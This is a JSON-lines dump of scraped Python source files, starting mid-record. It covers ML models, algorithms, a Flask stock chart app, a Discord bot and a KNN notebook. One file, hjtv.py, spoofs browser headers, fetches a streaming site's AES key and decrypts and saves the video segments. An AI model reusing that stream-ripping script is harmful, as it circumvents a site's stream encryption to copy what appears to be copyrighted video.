')[0])\n\tupper_bound = float(bounds.split(' ')[1])\n\n\tx_loading = config_cma_par.get('PARAMETERS', 'x_0')\n\tx_0 = np.zeros(num_parameters+1)\n\tfor i in range(num_parameters+1):\n\t\tx_0[i] = float(x_loading.split(' ')[i])\n\n\tsigma_0 = config_cma_par.get('PARAMETERS', 'sigma_0')\n\tsigma_0 = float(sigma_0.split(' ')[0])\n\n\n\treturn (x_0, sigma_0, y_data, t_data, error_type, prior_set, lower_bound, upper_bound, model_filename)\n","sub_path":"CMA/read_in.py","file_name":"read_in.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"312878182","text":"# coding: utf-8\n\nimport os\nimport ctypes\nimport itertools as it\n\nimport numpy as np\n\n\nFloat_ptr = ctypes.POINTER(ctypes.c_float)\n\n\ndef py_to_c_str(string):\n if isinstance(string, str):\n string = string.encode()\n return ctypes.c_char_p(string)\n\n\nclass Structure(ctypes.Structure):\n\n @classmethod\n def pointer(cls):\n return ctypes.POINTER(cls)\n\n\nclass FFM_Parameters(Structure):\n _fields_ = [\n ('eta', ctypes.c_float),\n ('lam', ctypes.c_float),\n ('nr_iters', ctypes.c_int),\n ('k', ctypes.c_int),\n ('normalization', ctypes.c_bool),\n ('randomization', ctypes.c_bool),\n ('auto_stop', ctypes.c_bool),\n ]\n\n\nclass FFM_Model(Structure):\n _fields_ = [\n ('n', ctypes.c_int),\n ('m', ctypes.c_int),\n ('k', ctypes.c_int),\n ('W', Float_ptr),\n ('normalization', ctypes.c_bool)\n ]\n\n def __init__(self, problem, params):\n self.n = problem.n\n self.m = problem.m\n self.k = params.k\n self.normalization = params.normalization\n lib.ffm_init_model_weights(self)\n\n def __del__(self):\n lib.ffm_cleanup_model_weights(self)\n\n @staticmethod\n def from_file(path):\n return lib.ffm_load_model_c_string(py_to_c_str(path))\n\n def to_file(self, path):\n lib.ffm_save_model_c_string(self, py_to_c_str(path))\n\n def copy_to(self, other):\n return lib.ffm_copy_model(self, other)\n\n @staticmethod\n def train(training_path, validation_path, params, nr_threads=1):\n return lib.ffm_train_model(\n py_to_c_str(training_path),\n py_to_c_str(training_path + '.bin'),\n py_to_c_str(validation_path) if validation_path else None,\n py_to_c_str(validation_path + '.bin') if validation_path else None,\n params,\n nr_threads,\n )\n\n def train_iteration(self, problem, params, nr_threads=1):\n return lib.ffm_train_iteration(problem, self, params, nr_threads)\n\n def predict_batch(self, problem):\n predictions = np.empty(problem.size)\n lib.ffm_predict_batch(predictions, problem, self)\n return predictions\n\n\nclass FFM_Node(Structure):\n _fields_ = [\n ('f', ctypes.c_int),\n ('j', ctypes.c_int),\n ('v', ctypes.c_float),\n ]\n\n\nclass FFM_Line(Structure):\n _fields_ = [\n ('data', FFM_Node.pointer()),\n ('label', ctypes.c_float),\n ('size', ctypes.c_int),\n ]\n\n\nclass FFM_Problem(Structure):\n _fields_ = [\n ('size', ctypes.c_int),\n ('num_nodes', ctypes.c_long),\n ('data', FFM_Node.pointer()),\n ('pos', ctypes.POINTER(ctypes.c_long)),\n ('labels', Float_ptr),\n ('scales', Float_ptr),\n ('n', ctypes.c_int),\n ('m', ctypes.c_int),\n ]\n\n def __init__(self, X, y=None):\n if y is None:\n y = it.repeat(0)\n lines = (FFM_Line * len(X))()\n for line, row, label in zip(lines, X, y):\n line.label = label\n line.size = len(row)\n line.data = (FFM_Node * line.size)()\n for node, (f, j, v) in zip(line.data, row):\n node.f = f\n node.j = j\n node.v = v\n lib.ffm_init_problem(self, lines, len(lines))\n\n def __del__(self):\n lib.ffm_cleanup_problem(self)\n\n\ndef setup_lib(lib_path=None):\n if lib_path is None:\n path = os.path.dirname(os.path.abspath(__file__))\n lib_path = path + '/' + next(i for i in os.listdir(path) if i.endswith('.so'))\n\n lib = ctypes.CDLL(lib_path)\n\n lib.ffm_init_problem.argtypes = [FFM_Problem.pointer(), FFM_Line.pointer(), ctypes.c_int]\n\n lib.ffm_init_model_weights.argtypes = [FFM_Model.pointer()]\n\n lib.ffm_cleanup_model_weights.argtypes = [FFM_Model.pointer()]\n\n lib.ffm_copy_model.argtypes = [FFM_Model.pointer(), FFM_Model.pointer()]\n\n lib.ffm_train_model.restype = FFM_Model\n lib.ffm_train_model.argtypes = [ctypes.c_char_p, ctypes.c_char_p,\n ctypes.c_char_p, ctypes.c_char_p,\n FFM_Parameters, ctypes.c_int]\n\n lib.ffm_train_iteration.restype = ctypes.c_double\n lib.ffm_train_iteration.argtypes = [FFM_Problem.pointer(), FFM_Model.pointer(),\n FFM_Parameters, ctypes.c_int]\n\n lib.ffm_predict_batch.argtypes = [np.ctypeslib.ndpointer(dtype=np.float64, ndim=1,\n flags='C_CONTIGUOUS'),\n FFM_Problem.pointer(), FFM_Model.pointer()]\n\n lib.ffm_load_model_c_string.restype = FFM_Model\n lib.ffm_load_model_c_string.argtypes = [ctypes.c_char_p]\n\n lib.ffm_save_model_c_string.argtypes = [FFM_Model.pointer(), ctypes.c_char_p]\n\n lib.ffm_cleanup_problem.argtypes = [FFM_Problem.pointer()]\n\n return lib\n\n\nlib = setup_lib()\nsrand = ctypes.CDLL('libc.so.6').srand","sub_path":"ffm/_wrapper.py","file_name":"_wrapper.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"611935780","text":"import MapReduce\nimport sys\n\n\"\"\"\nWord Count Example in the Simple Python MapReduce Framework\n\"\"\"\n\nmr = MapReduce.MapReduce()\n\n# =============================\n# Do not modify above this line\n\ndef mapper(record):\n # table: database identifier\n # value: document contents\n if record[0]=='a':\n for i in range(5):\n mr.emit_intermediate((record[1],i),(record[2],record[3]))\n else:\n for i in range(5):\n mr.emit_intermediate((i,record[2]),(record[1],record[3]))\n\ndef reducer(key, list_of_values):\n a1=[0,0,0,0,0]\n a2=[0,0,0,0,0]\n for v in list_of_values:\n if a1[v[0]] == 0:\n a1[v[0]] = v[1]\n else:\n a2[v[0]] = v[1]\n total = 0\n for j in range(5):\n total = total + a1[j]*a2[j]\n listvalue = [key[0],key[1],total]\n mr.emit(tuple(listvalue))\n \n \n# Do not modify below this line\n# =============================\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)","sub_path":"multiply.py","file_name":"multiply.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"546197926","text":"\nfrom math import pi, sin, cos\n\nfrom render import Render\n\nWIDTH = 400\n\ndef main_0():\n\n width = WIDTH \n height = 140 \n\n # (0, 0) coordinate:\n x0 = 0.5*width\n y0 = 0.5*height\n\n # length 1:\n scale = 0.4*height\n\n render = Render(\"triangle\", width, height, x0, y0, scale)\n\n render.init()\n\n #render.line_stroke(0, 0, 1, 1)\n\n\n theta = 2*pi/3\n R = 0.6 \n r = 0.1 \n\n render.set_linewidth(r/2)\n for i in range(3):\n x = R*sin(i*theta)\n y = R*cos(i*theta)\n render.circle_fill(x, y, r, \"red\")\n render.circle_stroke(x, y, r, \"black\")\n\n# render.arrow(-0.0, 0., 1.05, 0., 0.01)\n# render.arrow(1.0, 0., -0.05, 0., 0.01)\n#\n# x = item.toreal()\n# s = item.tohtml(\"large\")\n# render.text(x, 0.005, s, \"south\", s)\n# render.circle_fill(x, 0., 0.005, \"green\")\n\n render.fini()\n\n\nmain_0()\n\n\n","sub_path":"Template/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"6743742","text":"import requests, re\nfrom Crypto.Cipher import AES\n\nheaders = {\n 'Origin': 'https://ww4.hanjutv.com',\n 'Referer': 'https://ww4.hanjutv.com/index.php?path=https://meiju5.qfxmj.com/20190425/xQgySNao/index.m3u8&f=ck_m3u8',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',\n}\nurl = 'http://meiju4.qfxmj.com/20190307/kf87xRxL/3000kb/hls/index.m3u8?wsSecret=bd1de97c5e3ab89d35875350791069e1&wsTime=1569151322&watch=62c0008092ee382285aac67bf916654ad609f2541df9ab139959eb4a3e3db780'\nkey_url = 'http://meiju4.qfxmj.com/20190307/kf87xRxL/3000kb/hls/key.key'\n\nres = requests.get(url=url, headers=headers).text\n# 读取key\nres_key = requests.get(url=key_url, headers=headers).content\n# 解密\ncryptor = AES.new(res_key, AES.MODE_CBC, res_key)\n\nurls = []\nfor i in res.split('\\n'):\n if re.findall(\"^[https].+[js]$\", i):\n urls.append(i)\nurls = ['http'+i[5:] for i in urls]\n\nfor t_url in range(len(urls)):\n data = requests.get(url=urls[t_url], headers=headers)\n with open('第一集.mp4', 'ab+') as w:\n w.write(cryptor.decrypt(data.content))\n print(t_url+1, len(urls))","sub_path":"Replace/晨讲/hanjuTV/hjtv.py","file_name":"hjtv.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"169824598","text":"from Stack import Stack\nfrom utils import get_path_algorithm_search\n\n\ndef depth_first_search(initial_state, graph, goal_state):\n def print_info_finish():\n print('LOG NODES OPENED FOR THE ALGORITHM:\\n', log_verbose)\n print('----------------------------------')\n print('DIRECT_PATH OF THE ALGORITHM:\\n', get_path_algorithm_search(log_list=log,\n goal_state=goal_state, initial_state=initial_state))\n\n # inicializing the frontier with the first element\n frontier = Stack([initial_state])\n\n # inicializing the explored\n explored = []\n log = []\n log_verbose = ''\n while not frontier.is_empty():\n\n # getting current data and removing it\n state = frontier.get()\n # adding the state's name to the explored list\n explored.append(state)\n\n # # # arrive us to the goal\n if(state == goal_state):\n print_info_finish()\n return True\n\n # iterate the neigbors of the state for add each one of them into the frontier list,if not is in explored list and frontier list :)\n for neighbor in graph.neighbors(state):\n\n if (not neighbor in explored) and (not frontier.contain(neighbor)):\n frontier.push(neighbor)\n # this is un log for register the descovery nodes\n log_verbose += '{} ABRIO: {} \\n'.format(state, neighbor)\n log.append((state, neighbor))\n\n print_info_finish()\n return False\n","sub_path":"depth_first_search.py","file_name":"depth_first_search.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"283577272","text":"import keras\nimport numpy as np\nfrom keras import Sequential\nfrom keras.layers import Dense\n\nfrom Car import Car\n\n\nclass NeuralNetwork(object):\n representation = None\n inputshape = None\n model = None\n inputshape = None\n direction = None\n modelelements = np.array([])\n track = []\n\n def __init__(self, inputshape):\n self.inputshape = inputshape\n self.setupnetwork()\n\n def delete(self):\n self.model = None\n\n def set(self, weights, biases):\n self.model.set_weights(np.array(weights, biases))\n\n def setupparams(self, track):\n self.track = track\n self.representation = Car(track.start)\n\n def setupnetwork(self):\n self.model = Sequential()\n self.model.add(Dense(6, input_shape=(self.inputshape,)))\n self.model.add(Dense(32))\n self.model.add(Dense(360, activation='softmax', activity_regularizer=keras.regularizers.l2()))\n self.model.compile(loss='categorical_crossentropy', optimizer=keras.optimizers.SGD(),\n metrics=[keras.metrics.categorical_accuracy])\n\n def predictmove(self):\n index = self.representation.currentCheckpoint\n back1 = (self.track.length + index - 1) % self.track.length\n back2 = (self.track.length + index - 2) % self.track.length\n a = self.track.Checkpoints[index][0]\n b = self.track.Checkpoints[back1][0]\n c = self.track.Checkpoints[back2][0]\n d = self.track.Checkpoints[back2][1]\n e = self.track.Checkpoints[back1][1]\n f = self.track.Checkpoints[index][1]\n g = self.representation.getinfo()\n self.modelelements = np.array([a, b, c, d, e, f, g])\n self.direction = np.argmax(self.model.predict(self.modelelements.reshape((1, 14))))\n self.representation.turn(self.direction)\n","sub_path":"NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"456246628","text":"import os\nimport random\nimport numpy as np\nfrom scipy.misc import imread\nfrom scipy.misc import imresize\n\nimport data_mgr_base\n\n\n_MY_DIR = os.path.dirname(os.path.realpath(__file__))\n\n\ndef _resolve_file_dirs(file_dirs):\n if file_dirs is None:\n file_dirs = \"../ms_cat/cat_face\"\n if isinstance(file_dirs, basestring):\n return [file_dirs]\n return file_dirs\n\n\ndef _process_image(im, new_w, new_h, force_grayscale):\n h, w = im.shape[:2]\n a = min(h, w)\n y, x = h // 2 - a // 2, w // 2 - a // 2\n im = im[y:y+a, x:x+a, 0:3]\n im = imresize(im, [new_w, new_h]) / 255.0\n if force_grayscale and im.shape[2] == 3:\n return np.dot(im, [0.299, 0.587, 0.114])\n assert im.shape[2] in (1, 3)\n return im\n\n\nclass _FileProp(data_mgr_base.FileProp):\n\n def __init__(self, image_width, image_height, force_grayscale):\n super(_FileProp, self).__init__()\n self._image_width = image_width\n self._image_height = image_height\n self._force_grayscale = force_grayscale\n\n def is_valid_file_name(self, file_name):\n return file_name.endswith(\".png\")\n\n def read_file(self, file_path):\n im = imread(file_path)\n return _process_image(im, self._image_width, self._image_height,\n self._force_grayscale)\n\n\nclass DataMgr(data_mgr_base.FileDataMgr):\n\n def __init__(self, batch_size,\n cache_sizes=[32, 2, 2],\n image_width=64, image_height=64, force_grayscale=False,\n file_dirs=None, train_valid_test_splits=[0.8, 0.1, 0.1]):\n file_dirs = _resolve_file_dirs(file_dirs)\n super(DataMgr, self).__init__(\n batch_size=batch_size, cache_sizes=cache_sizes,\n file_dirs=file_dirs,\n file_prop=_FileProp(image_width, image_height, force_grayscale),\n train_valid_test_splits=train_valid_test_splits)\n \n \n def _get_batch(self, data_batcher):\n list_data = super(DataMgr, self)._get_batch(data_batcher)\n return data_mgr_base.stack_list(list_data)\n","sub_path":"cat_face_data_mgr.py","file_name":"cat_face_data_mgr.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"45073035","text":"#EE569 Homework Assignment #4\n#NAME: Pulkit Pattnaik\n#USC ID: 6879618446\n#USC email: pattnaik@usc.edu\n#Submission date: 19 March 2019\nimport cv2\nimport numpy as np\nfrom operator import attrgetter\nimport matplotlib.pyplot as plt\n\nriver1 = np.fromfile('HW4_Images/river1.raw', dtype = np.uint8).reshape([1024, 768, 3])\nriver2 = np.fromfile('HW4_Images/river2.raw', dtype = np.uint8).reshape([1024, 768, 3])\ngray1 = cv2.cvtColor(river1, cv2.COLOR_BGR2GRAY)\ngray2 = cv2.cvtColor(river2, cv2.COLOR_BGR2GRAY)\n\nsift = cv2.xfeatures2d.SIFT_create()\nkp1, des1 = sift.detectAndCompute(gray1, None)\nkp2, des2 = sift.detectAndCompute(gray2, None)\n# strongest_kp1_index = kp1.index(max(kp1, key = attrgetter('response')))\n\nbf = cv2.BFMatcher()\nmatches = bf.match(des1, des2)\nmatches = sorted(matches, key = lambda x:x.distance)\n#matches = sorted(matches, key = lambda x:x.distance)\nimg3 = np.array([])\ndraw_params = dict(matchColor = (0,0,255), flags = 2)\nimg3 = cv2.drawMatches(river1, kp1, river2, kp2, matches[:1], img3, **draw_params)\nplt.imshow(img3),plt.show()","sub_path":"sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"3789496","text":"import tensorflow as tf\r\n\r\ndef model():\r\n _IMAGE_SIZE = 227\r\n _IMAGE_CHANNELS = 3\r\n _NUM_CLASSES = 10\r\n \r\n # 参数丢弃率,置0则取消\r\n dropout_rate_full = 0.5\r\n ###权重正则项,scale置0即取消\r\n regularizer = tf.contrib.layers.l2_regularizer(scale=0.001)\r\n \r\n with tf.name_scope('main_params'):\r\n x = tf.placeholder(tf.float32, shape=[None, _IMAGE_SIZE * _IMAGE_SIZE * _IMAGE_CHANNELS], name='Input')\r\n y = tf.placeholder(tf.float32, shape=[None, _NUM_CLASSES], name='Output')\r\n x_image = tf.reshape(x, [-1, _IMAGE_SIZE, _IMAGE_SIZE, _IMAGE_CHANNELS], name='images')\r\n global_step = tf.Variable(initial_value=0, trainable=False, name='global_step')\r\n learning_rate = tf.placeholder(tf.float32, shape=[], name='learning_rate') \r\n \r\n with tf.variable_scope('conv1') as scope:\r\n conv1 = tf.layers.conv2d(\r\n inputs=x_image,\r\n filters=96,\r\n kernel_size=[11, 11],\r\n strides = 4,\r\n padding='VALID',\r\n activation=tf.nn.relu,\r\n kernel_regularizer=regularizer\r\n )\r\n lrn1 = tf.nn.lrn(conv1,4,bias=1,alpha=1e-3/9,beta=0.75,name=\"lrn1\")\r\n pool1 = tf.layers.max_pooling2d(lrn1, pool_size=[3, 3], strides=2, padding='VALID')\r\n \r\n\r\n with tf.variable_scope('conv2') as scope:\r\n conv2 = tf.layers.conv2d(\r\n inputs=pool1,\r\n filters=256,\r\n kernel_size=[5, 5],\r\n padding='SAME',\r\n activation=tf.nn.relu,\r\n kernel_regularizer=regularizer\r\n )\r\n lrn2 = tf.nn.lrn(conv2,4,bias=1,alpha=1e-3/9,beta=0.75,name=\"lrn2\")\r\n pool2 = tf.layers.max_pooling2d(lrn2, pool_size=[3, 3], strides=2, padding='VALID')\r\n \r\n \r\n\t\t\r\n with tf.variable_scope('conv3') as scope:\r\n conv3 = tf.layers.conv2d(\r\n inputs=pool2,\r\n filters=384,\r\n kernel_size=[3, 3],\r\n padding='SAME',\r\n activation=tf.nn.relu,\r\n kernel_regularizer=regularizer\r\n )\r\n# pool3 = tf.layers.max_pooling2d(conv3, pool_size=[2, 2], strides=2, padding='SAME')\r\n \r\n with tf.variable_scope('conv4') as scope:\r\n conv4 = tf.layers.conv2d(\r\n inputs=conv3,\r\n filters=384,\r\n kernel_size=[3, 3],\r\n padding='SAME',\r\n activation=tf.nn.relu,\r\n kernel_regularizer=regularizer\r\n )\r\n\r\n with tf.variable_scope('conv5') as scope:\r\n conv5 = tf.layers.conv2d(\r\n inputs=conv4,\r\n filters=256,\r\n kernel_size=[3, 3],\r\n padding='SAME',\r\n activation=tf.nn.relu,\r\n kernel_regularizer=regularizer\r\n )\r\n pool5 = tf.layers.max_pooling2d(conv5, pool_size=[3, 3], strides=2, padding='VALID')\r\n \r\n \r\n with tf.variable_scope('fc1') as scope:\r\n flat = tf.reshape(pool5, [-1, 6*6*256])\r\n fc1 = tf.layers.dense(\r\n inputs=flat, \r\n units=4096, \r\n activation=tf.nn.relu, \r\n kernel_regularizer=regularizer)\r\n drop_fc1 = tf.layers.dropout(fc1, rate=dropout_rate_full)\r\n \r\n with tf.variable_scope('fc2') as scope:\r\n fc2 = tf.layers.dense(\r\n inputs=drop_fc1, \r\n units=4096, \r\n activation=tf.nn.relu, \r\n kernel_regularizer=regularizer)\r\n drop_fc2 = tf.layers.dropout(fc2, rate=dropout_rate_full)\r\n \r\n with tf.variable_scope('fc3') as scope:\r\n softmax = tf.layers.dense(\r\n inputs=drop_fc2, \r\n units=_NUM_CLASSES, \r\n name=scope.name, \r\n kernel_regularizer=regularizer)\r\n \r\n y_pred_cls = tf.argmax(softmax, axis=1)\r\n\r\n return x, y, softmax, y_pred_cls, global_step, learning_rate\r\n\r\n\r\ndef lr(epoch):\r\n learning_rate = 1e-3\r\n if epoch > 80:\r\n learning_rate *= 0.5e-3\r\n elif epoch > 60:\r\n learning_rate *= 1e-3\r\n elif epoch > 40:\r\n learning_rate *= 1e-2\r\n elif epoch > 20:\r\n learning_rate *= 1e-1\r\n return learning_rate\r\n \r\n","sub_path":"include/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"109606002","text":"from flask import Flask, render_template, request, redirect\nfrom datetime import datetime, timedelta\nfrom quandl.errors.quandl_error import NotFoundError \n\nimport quandl as qd\nimport pandas as pd\n\nfrom bokeh.plotting import figure\nfrom bokeh.embed import components\n \napp = Flask(__name__)\n\ntoday = datetime.utcnow()\nmonth_start = today - timedelta(days = 30)\nkeep = 'Adj. Close'\n\ndef get_data(tkr):\n try:\n return qd.get('WIKI/%s' % tkr, trim_start = month_start, trim_end = today)\n except NotFoundError:\n return None\n\ndef create_figure(tkr):\n DF = get_data(tkr)\n if DF is None:\n return None\n # reset_index pushes the 'Date' column from an index to\n # one that can be extracted with as imple ['Date'] call\n DF = DF[keep].reset_index()\n ticker = DF[keep]\n ticker_dates = DF['Date']\n\n p = figure(x_axis_type=\"datetime\", title=\"30 days of %s Closing Prices\" % tkr)\n p.grid.grid_line_alpha = 0\n p.xaxis.axis_label = 'Date'\n p.yaxis.axis_label = '%s Price' % tkr\n p.ygrid.band_fill_color = \"green\"\n p.ygrid.band_fill_alpha = 0.1\n\n p.circle(ticker_dates, ticker, size = 4, legend = tkr, \n color = 'darkgrey', alpha = 0.2)\n\n p.legend.location = \"top_left\"\n return p\n\n@app.route(\"/index\", methods=['GET','POST']) \n\ndef index():\n # split behavior on GET vs. POST requests\n if request.method == 'GET':\n return render_template('index.html')\n else:\n tkr = request.form['tkr']\n \n plot = create_figure(tkr)\n\n if plot is None:\n return render_template('notfound.html')\n\n script, div = components(plot) \n return render_template('display.html', script=script, div=div, tkr=tkr)\n \n@app.route('/', methods=['GET','POST'])\ndef main():\n return redirect('/index')\n\nif __name__== \"__main__\":\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"332237764","text":"# https://leetcode.com/problems/validate-binary-search-tree/\n\n\n# solution 1: 根据BST的特性进行in-order traversal\n\"\"\"\nif a binary tree is a bst, then its in-order traverse result would be an array in ascending order. \nHowever we don't need to store the traverse result, we only need to compare the current node with \nthe last node and see if its value is larger than the last node.\n\"\"\"\n\n\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param root: The root of binary tree.\n @return: True if the binary tree is BST, or false\n \"\"\"\n\n def isValidBST(self, root):\n # write your code here\n self.isValid = True\n self.lastNode = None\n self.inorderTraverse(root)\n return self.isValid\n\n def inorderTraverse(self, node):\n if node is None:\n return\n\n self.inorderTraverse(node.left)\n\n if self.lastNode is not None and self.lastNode.val >= node.val:\n self.isValid = False\n return\n\n self.lastNode = node\n\n self.inorderTraverse(node.right)\n\n\n# solution 2:divide and conquer\n\"\"\"\n题目对BST的定义:\n左子树的所有节点值<根节点值 => 如果左子树的最大值<根节点值,则满足条件\n右子树的所有节点值>根节点值 => 如果右子树的最小值>根节点值,则满足条件\n分治的返回值:isValid, minNode, maxNode\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param root: The root of binary tree.\n @return: True if the binary tree is BST, or false\n \"\"\"\n\n def isValidBST(self, root):\n isValid, minVal, maxVal = self.divideConquer(root)\n return isValid\n\n def divideConquer(self, root):\n if root is None:\n return True, None, None\n leftValid, leftMin, leftMax = self.divideConquer(root.left)\n rightValid, rightMin, rightMax = self.divideConquer(root.right)\n\n if not leftValid or not rightValid:\n return False, None, None\n\n if leftMax is not None and leftMax >= root.val:\n return False, None, None\n\n if rightMin is not None and rightMin <= root.val:\n return False, None, None\n # is BST\n minVal = leftMin if leftMin is not None else root.val\n maxVal = rightMax if rightMax is not None else root.val\n return True, minVal, maxVal\n\n","sub_path":"tree/98/98.py","file_name":"98.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"121399336","text":"import discord\nfrom discord.ext import commands\nimport requests\nfrom utils import Utils\nimport os\nimport sys\n\nclass CommandsCog(commands.Cog, name=\"Kommandoer\"):\n def __init__(self, bot):\n self.bot = bot\n \n @commands.command()\n async def score(self, ctx, *args):\n score = Utils().getScoreBoard()\n if not score:\n await ctx.send('En feil har oppstått...')\n return\n\n if not args: # If no user inputted => send first 10 people in scoreboard\n embed = discord.Embed(title='Poengoversikt', color=0x50bdfe)\n embed_string = ''\n\n for x in range(15):\n user = score[x]\n \n if user[\"eggs_solved\"] == \"0\":\n embed_string += f'#{x+1} {Utils().formatDisplayName(user[\"display_name\"])} - {int(user[\"challenges_solved\"]) * 10} poeng\\n'\n else:\n embed_string += f'#{x+1} {Utils().formatDisplayName(user[\"display_name\"])} - {int(user[\"challenges_solved\"]) * 10} poeng og ⭐ x {user[\"eggs_solved\"]}\\n'\n \n highest_score = [score[0][\"challenges_solved\"], score[0][\"eggs_solved\"]]\n high_score_count = 0\n\n for x in range(len(score)):\n user = score[x]\n user_score = [user[\"challenges_solved\"], user[\"eggs_solved\"]]\n if user_score != highest_score:\n high_score_count = x\n break\n\n embed.description = f'{embed_string }\\n{high_score_count} alvebetjenter har maks poeng'\n embed.set_footer(text=f'Etterspurt av: {ctx.message.author.name}#{ctx.message.author.discriminator}')\n await ctx.send(embed=embed)\n else: # If user(s) inputted => send score for specific user(s)\n embed = discord.Embed(title='Poengoversikt', color=0x50bdfe)\n\n embed_string = Utils().getScoreUsersByName(score, args)\n\n if embed_string:\n embed.description = embed_string\n embed.set_footer(text=f'Etterspurt av: {ctx.message.author.name}#{ctx.message.author.discriminator}')\n await ctx.send(embed=embed)\n else:\n await ctx.send('Ingen bruker med dette navnet!')\n \n @commands.command(aliases=['print', 'retrieve'])\n async def hent(self, ctx, *arg):\n if not arg:\n await ctx.send('Mangler argument. Vennligst skriv inn hva du vil hente (f. eks. Alle Flagg) i denne formaten: `!hent `')\n return\n embed = discord.Embed(\n title='ERROR',\n description=f'discord.ext.commands.errors.CommandInvokeError: Command raised an exception: AttributeError: \"Utils\" object has no attribute \"retrieve{\"\".join(arg)}\"\\n\\nFor mer info om bruken vennligst [KLIKK HER](https://www.youtube.com/watch?v=dQw4w9WgXcQ)'\n )\n await ctx.send(embed=embed)\n\n @commands.command()\n @commands.is_owner()\n @commands.dm_only()\n async def restart(self, ctx):\n await ctx.send('Restarting...')\n os.execv(sys.executable, ['python3'] + sys.argv)\n\ndef setup(bot):\n bot.add_cog(CommandsCog(bot))","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"103283383","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 18 14:12:05 2021\r\n\r\n@author: VolkanKarakuş\r\n\"\"\"\r\n\r\n#%% SVM (Support Vector Machine)\r\n# best decision boundary algorithm\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndata=pd.read_csv('data.csv')\r\n\r\nheadData=data.head()\r\n# malignant : M\r\n# benign : B\r\n\r\ndata.drop(['Unnamed: 32','id'],axis=1,inplace=True)\r\n\r\nM=data[data.diagnosis=='M']\r\nB=data[data.diagnosis=='B']\r\n\r\ninfo_M=M.info()\r\n\r\n#scatter for visualiation \r\n#%% radius_mean - area_mean\r\nplt.scatter(M.radius_mean,M.area_mean,color='red',label='M',alpha=0.5)\r\nplt.scatter(B.radius_mean,B.area_mean,color='green',label='B',alpha=0.5)\r\nplt.xlabel('radius_mean')\r\nplt.ylabel('area_mean')\r\nplt.legend()\r\nplt.show()\r\n\r\n#%% radius_mean - texture_mean\r\nplt.scatter(M.radius_mean,M.texture_mean,color='red',label='M',alpha=0.5)\r\nplt.scatter(B.radius_mean,B.texture_mean,color='green',label='B',alpha=0.5)\r\nplt.xlabel('radius_mean')\r\nplt.ylabel('texture_mean')\r\nplt.legend()\r\nplt.show()\r\n\r\n#%% KNN\r\n# K Nearest Neighbour\r\n# 1.) Select the K value\r\n# 2.) Find nearest data points to K\r\n# 3.) Calculate how many classes of K are among the nearest neighbors\r\n# 4.) Determine which class the point or data we tested belong to\r\n\r\n\r\n# bir nokta sec. K=3 olsun. O noktaya en yakin 3 veriye bak. 2 iyi, 1 kotu mesela. O zaman o nokta iyi.\r\n# noktaya en yakin uzaklik euclidian distance yani hipotenus teoremi.\r\n# hipotenus bulurken x uzunlugu 500 (x2-x1), y uzunlugu 0.01(y2-y1) olsun. Yine normalize etmemiz gerek.\r\n\r\n#%% KNN with sklearn\r\ndata.diagnosis=[1 if each=='M' else 0 for each in data.diagnosis]\r\ny=data.diagnosis.values # classes\r\nx_data=data.drop(['diagnosis'],axis=1) # features\r\n\r\n#normalization\r\nx=(x_data-np.min(x_data))/(np.max(x_data)-np.min(x_data))\r\n\r\n#%% train test split\r\nfrom sklearn.model_selection import train_test_split\r\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.3,random_state=40)\r\n\r\n#KNN model\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nknn=KNeighborsClassifier(n_neighbors=3) # K=3\r\nknn.fit(x_train,y_train)\r\nprediction=knn.predict(x_test)\r\n\r\nprint('KNN score : {} for K= {}'.format(knn.score(x_test,y_test),3)) # KNN score : 0.9766081871345029 for K= 3.\r\n\r\n# K is hyperparameter. The K value is found by trying.\r\n\r\n# find k value\r\nscoreList=[]\r\nfor each in range(1,100):\r\n knn2=KNeighborsClassifier(n_neighbors=each)\r\n knn2.fit(x_train,y_train)\r\n scoreList.append(knn2.score(x_test,y_test))\r\n \r\nplt.plot(range(1,100),scoreList)\r\nplt.xlabel('K values')\r\nplt.ylabel('Accuracy')\r\nplt.show()\r\n# K=20 is suitable.\r\n\r\n#%% 